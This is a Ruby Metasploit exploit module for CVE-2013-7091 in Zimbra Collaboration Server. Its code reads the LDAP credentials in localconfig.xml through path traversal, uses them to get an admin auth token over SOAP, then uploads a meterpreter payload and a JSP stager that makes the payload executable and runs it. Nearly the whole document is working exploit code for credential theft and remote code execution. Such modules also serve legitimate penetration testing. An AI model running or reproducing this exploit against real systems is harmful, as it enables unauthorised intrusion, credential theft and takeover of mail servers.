2013-12-17 18:32:04 +00:00
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rexml/document'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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include REXML
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Rank = GreatRanking
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zimbra Collaboration Server LFI',
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'Description' => %q{
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This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability
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allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen
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credentials allow the attacker to make requests to the service/admin/soap API. This can
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then be used to create an authentication token for the admin web interface. This access
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can be used to achieve remote code execution. This module has been tested on Zimbra
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Collaboration Server 8.0.2 with Ubuntu Server 12.04.
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},
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'Author' =>
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[
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'rubina119', # Vulnerability discovery
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'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-7091' ],
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[ 'OSVDB', '100747' ],
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[ 'BID', '64149' ],
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[ 'EDB', '30085' ],
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[ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ]
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],
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'Privileged' => false,
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'Platform' => ['linux'],
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'Targets' =>
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[
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[ 'Zimbra 8.0.2 / Linux',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultOptions' =>
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{
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'SSL' => true
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},
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'DefaultTarget' => 0,
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'DisclosureDate' => "Dec 06 2013"
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))
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register_options(
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[
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Opt::RPORT(7071),
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OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']),
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OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]),
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OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra'])
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])
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end
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def check
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res = send_traversal_query(traversal_path("conf/localconfig.xml"))
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unless res and res.code == 200
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return Exploit::CheckCode::Safe
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end
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#this response is ~100% gzipped
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begin
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text = Rex::Text.ungzip(res.body)
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rescue Zlib::GzipFile::Error
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text = res.body
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end
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if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_status("#{peer} - Getting login credentials...")
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res = send_traversal_query(traversal_path("conf/localconfig.xml"))
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unless res and res.code == 200
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fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
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end
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#this response is ~100% gzipped
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begin
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text = Rex::Text.ungzip(res.body)
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rescue Zlib::GzipFile::Error
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text = res.body.to_s
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end
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if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/
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zimbra_user = $1
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else
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fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
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end
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if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/
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zimbra_pass = $1
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else
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fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials")
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end
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print_good("#{peer} - Got login credentials!")
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print_status("#{peer} - Getting auth token...")
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soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy
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res = send_request_cgi({
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'uri' => normalize_uri("service", "admin", "soap"),
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'method' => 'POST',
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'ctype' => 'application/soap+xml; charset="utf-8"',
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'headers' =>
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{
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'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"',
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},
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'data' => soap_req
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})
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unless res and res.code == 200
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fail_with(Failure::Unknown, "#{peer} - Unable to access service URL")
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end
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if res.body.to_s =~ /<authToken>(.*)<\/authToken>/
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auth_token = $1
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else
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fail_with(Failure::Unknown, "#{peer} - Unable to get auth token")
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end
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@cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}"
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print_good("#{peer} - Got auth token!")
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#the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler
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#the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/
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#the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy!
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#push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards
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payload_name = rand_text_alpha(8+rand(8))
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stager_name = rand_text_alpha(8+rand(8)) + ".jsp"
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stager = gen_stager(payload_name)
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payload_elf = generate_payload_exe
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#upload payload
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print_status("#{peer} - Uploading payload")
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res = upload_file(payload_name, payload_elf)
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unless res and res.code == 200
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fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload")
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end
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#upload jsp stager
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print_status("#{peer} - Uploading jsp stager")
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res = upload_file(stager_name, stager)
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unless res and res.code == 200
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fail_with(Failure::Unknown, "#{peer} - Unable to upload stager")
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end
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register_files_for_cleanup(
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"../jetty/webapps/zimbra/downloads/#{stager_name}",
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"../jetty/webapps/zimbra/downloads/#{payload_name}"
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)
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print_status("#{peer} - Executing payload on /downloads/#{stager_name}")
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res = send_request_cgi({
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'uri' => normalize_uri("downloads", stager_name),
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'method' => 'GET',
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})
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end
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def traversal_path(file_name)
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::File.join(
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"../" * datastore['DEPTH'],
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datastore['ZIMBRADIR'],
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file_name
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)
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end
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def send_traversal_query(traversal)
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"),
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'method' => 'GET',
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'encode_params' => false,
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'vars_get' => {
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'v' => "091214175450",
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'skin' => "#{traversal}%00"
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}
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})
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return res
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end
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def upload_file(file_name, data)
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req_id = rand_text_numeric(2).to_s
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post_data = Rex::MIME::Message.new
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post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"")
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post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
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post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"")
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n_data = post_data.to_s
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n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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res = send_request_cgi({
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'uri' => normalize_uri("service", "extension", "clientUploader", "upload"),
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'method' => 'POST',
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'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
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'data' => n_data,
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'cookie' => @cookie
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})
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return res
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end
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def build_soap_req(zimbra_user, zimbra_pass)
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xml = Document.new
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soap_var = "ns1:AuthRequest"
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xml.add_element(
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"soapenv:Envelope",
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{
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'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
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'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
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'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
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'xmlns:ser' => "http://service.emulation.ws.mercury.com",
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'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope",
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'xmlns:ns1' => "urn:zimbraAdmin",
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'xmlns:ns2' => "urn:zimbraAdmin",
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})
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xml.root.add_element("soapenv:Header")
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xml.root.add_element("soapenv:Body")
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header = xml.root.elements[1]
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body = xml.root.elements[2]
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header.add_element("ns2:context")
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body.add_element("ns1:AuthRequest")
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ns1 = body.elements[1]
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ns1.add_element(
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"account",
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{
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'by' => "name"
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})
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ns1.add_element("password")
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ns1.elements["account"].text = "#{zimbra_user}"
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ns1.elements["password"].text = "#{zimbra_pass}"
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return xml.to_s
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end
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def gen_stager(payload_name)
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stager = "<%@ page import=\"java.util.*,java.io.*\"%>"
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stager += " <%"
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stager += " String uri = request.getRequestURI();"
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stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);"
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stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;"
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stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";"
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stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);"
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stager += " p.waitFor();"
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stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");"
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stager += "%>"
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return stager
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end
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end
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